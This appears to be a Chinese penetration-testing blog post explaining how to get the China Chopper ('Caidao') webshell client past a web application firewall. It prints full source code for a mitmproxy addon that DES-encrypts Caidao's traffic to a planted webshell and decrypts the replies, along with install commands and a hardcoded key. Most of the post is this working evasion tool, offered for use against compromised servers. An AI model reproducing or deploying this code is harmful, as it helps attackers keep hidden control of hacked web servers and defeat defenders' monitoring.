基于HTTP代理中转菜刀过WAF
在实际的渗透过程中,我们常常因为WAF而头疼。源码免杀了而传输层却被拦截了实在难受。虽然现在很多优秀的应用。如蚁剑,C刀,冰蝎等。本文就通过在不修改程序源码,不重复造轮子,代码量最少的前提下实现类似冰蝎的加密传输。
如果我们要实现类似冰蝎那种数据加密传输必定要拦截菜刀的发送数据。如何拦截呢?这里就可以想到中间人劫持了。利用中间人拦截了菜刀的传输数据然后进行自定义加密再发送给webshell。这不就成功了吗?类似下图
分割线上是菜刀正常的传输,下面是我们要实现的加密传输。在加密算法的选择上我选择了DES算法。
原因如下:
1. PHP 本版兼容性最高,代码量少且简单,不依赖openssl 2. 在其他脚本中也是相对较少的代码量和较好的兼容性
基于菜刀20160622版本修改和测试。
利用MitmProxy作为中间人代理,只需要写个插件即可实现。
安装(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)
pip[3] install mitmproxy pip[3] install pydes
插件代码:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote
key = "KvCb2poU"
# 加密
def encrypt_str(key,data):
# 加密方法
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 执行加密码
k = method.encrypt(data)
# 转base64编码并返回
return base64.b64encode(k)
# 解密
def decrypt_str(key,data):
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 对base64编码解码
k = base64.b64decode(data)
# 再执行Des解密并返回
return method.decrypt(k)
class Counter:
def __init__(self):
pass
def request(self, flow: mitmproxy.http.HTTPFlow):
print(key)
print("first req:" + str(flow.request.content))
flow.request.content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), flow.request.content),encoding="UTF-8")),encoding="UTF-8")
print("req:" + str(flow.request.content))
def response(self,flow: mitmproxy.http.HTTPFlow):
flow.response.content = decrypt_str(key.encode(encoding="utf-8"),flow.response.content)
print("decrypt resp:" + str(flow.response.content,encoding="utf-8"))
addons = [
Counter()
]
Webshell和插件还有其他详情在github。
https://xz.aliyun.com/t/2739 https://github.com/ekgg/Caidao-AES-Version